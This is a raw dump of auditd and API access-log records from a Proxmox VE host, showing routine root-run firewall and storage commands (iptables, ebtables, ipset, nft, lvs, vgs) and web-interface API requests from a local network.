{"@timestamp":1781964255239,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.239:60243): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965615476,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.476:66368): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecb9892a80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63744 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875248,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.248:67485): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64812 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965047566,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:26 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965866100,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.100:67444): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964255234,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.234:60242): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965615469,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.469:66367): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139dd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63743 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875241,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.241:67484): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64811 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965046555,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781965866093,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.093:67443): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964255231,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.231:60241): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965615462,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.462:66366): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb9892a80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63742 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875238,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.238:67483): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=60eeeb9b0740 items=0 ppid=1156 pid=64810 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965046555,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965866085,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.085:67442): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964255230,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.230:60240): argc=1 a0=\"date\""} {"@timestamp":1781965615452,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.452:66365): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b5660 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63741 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875235,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.235:67482): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc100d70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64810 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965046555,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:25 +0100] \"GET /api2/extjs/cluster/options?_dc=1781965044977 HTTP/1.1\" 200 100"} {"@timestamp":1781965866078,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.078:67440): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964255224,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.224:60238): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965615441,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.441:66364): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63740 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875230,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.230:67481): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0fcd50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64809 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965046555,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:25 +0100] \"GET /api2/extjs/cluster/sdn?_dc=1781965044977 HTTP/1.1\" 200 118"} {"@timestamp":1781965866072,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.072:67439): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964255215,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.215:60237): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965615429,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.429:66363): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63739 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875222,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.222:67480): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e89b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64808 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965046555,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:25 +0100] \"GET /api2/extjs/version?_dc=1781965044976 HTTP/1.1\" 200 84"} {"@timestamp":1781965866066,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.066:67438): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964255209,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.209:60236): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965615421,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.421:66362): arch=c000003e syscall=59 success=yes exit=0 a0=5bc722c68ae0 a1=5bc722c74e90 a2=5bc722c42680 a3=5 items=2 ppid=63732 pid=63738 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.217:67479): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc142b30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64807 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965046555,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:25 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965866059,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.059:67437): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964255203,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.203:60235): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965615415,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.415:66361): arch=c000003e syscall=59 success=yes exit=0 a0=5bc6f0c8eac8 a1=7fffe05c06b0 a2=5bc722c42680 a3=5bc6f0c7224e items=2 ppid=63732 pid=63734 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875211,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.211:67478): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e89b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64806 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965046555,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:25 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 464"} {"@timestamp":1781965866053,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.053:67436): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964255197,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.197:60234): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965615414,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.414:66360): arch=c000003e syscall=59 success=yes exit=0 a0=7fffe05c0670 a1=5bc722c64180 a2=5bc722c42680 a3=5 items=2 ppid=63732 pid=63733 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875204,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.204:67477): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9950 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64805 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965046555,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:25 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965866045,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.045:67435): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964255190,"@rawstring":"node=pve type=EXECVE msg=audit(1781964255.190:60233): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965875197,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.197:67476): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64804 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615402,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.402:66358): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63732 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965045447,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:24 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/config?_dc=1781965043833 HTTP/1.1\" 200 597"} {"@timestamp":1781965866037,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.037:67434): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964254646,"@rawstring":"node=pve type=EXECVE msg=audit(1781964254.646:60232): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965875189,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.189:67475): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64803 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615388,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.388:66357): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63731 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965045447,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:24 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965866031,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.031:67433): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964254601,"@rawstring":"node=pve type=EXECVE msg=audit(1781964254.601:60231): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965875184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.184:67474): arch=c000003e syscall=59 success=yes exit=0 a0=5fb0c1559d30 a1=5fb0c1565b30 a2=5fb0c1533680 a3=5 items=2 ppid=64796 pid=64802 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615378,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.378:66356): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63730 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965044493,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/pending HTTP/1.1\" 200 841"} {"@timestamp":1781965866026,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.026:67432): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964253487,"@rawstring":"node=pve type=EXECVE msg=audit(1781964253.487:60230): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965875181,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.181:67473): arch=c000003e syscall=59 success=yes exit=0 a0=5fb08f73cac8 a1=7fff2a6d2bf0 a2=5fb0c1533680 a3=5fb08f72024e items=2 ppid=64796 pid=64798 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615370,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.370:66355): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12f270 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63729 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965044493,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:23 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965866023,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.023:67431): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964253478,"@rawstring":"node=pve type=EXECVE msg=audit(1781964253.478:60227): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965875181,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.181:67472): arch=c000003e syscall=59 success=yes exit=0 a0=7fff2a6d2bb0 a1=5fb0c15553d0 a2=5fb0c1533680 a3=5 items=2 ppid=64796 pid=64797 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615360,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.360:66354): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fce40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63728 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965043432,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781965866022,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.022:67430): argc=1 a0=\"date\""} {"@timestamp":1781964248472,"@rawstring":"node=pve type=EXECVE msg=audit(1781964248.472:60224): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965875176,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.176:67470): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64796 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615349,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.349:66353): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0dea00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63727 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965043432,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781965866018,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.018:67428): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964248462,"@rawstring":"node=pve type=EXECVE msg=audit(1781964248.462:60221): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965875168,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.168:67469): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64795 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965614670,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965614.670:66352): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73cd090 a1=64f8d73b4b20 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63724 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965043432,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 475"} {"@timestamp":1781965866010,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.010:67427): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964245179,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.179:60218): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965875158,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.158:67468): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64794 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965614645,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965614.645:66351): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5325c80 a1=64f8d7418310 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63723 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965043432,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781965866003,"@rawstring":"node=pve type=EXECVE msg=audit(1781965866.003:67426): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964245176,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.176:60217): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965875153,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.153:67467): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6440 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64793 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965613683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965613.683:66350): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63722 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965043432,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:22 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965865997,"@rawstring":"node=pve type=EXECVE msg=audit(1781965865.997:67425): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964245174,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.174:60216): argc=1 a0=\"date\""} {"@timestamp":1781965875145,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.145:67466): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13a240 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64792 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965613676,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965613.676:66347): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63721 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965042407,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:21 +0100] \"GET /api2/json/nodes/pve/storage/local/content?content=backup HTTP/1.1\" 200 11"} {"@timestamp":1781965865989,"@rawstring":"node=pve type=EXECVE msg=audit(1781965865.989:67424): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964245117,"@rawstring":"node=pve type=EXECVE msg=audit(1781964245.117:60204): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965875133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965875.133:67465): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ba60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64791 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 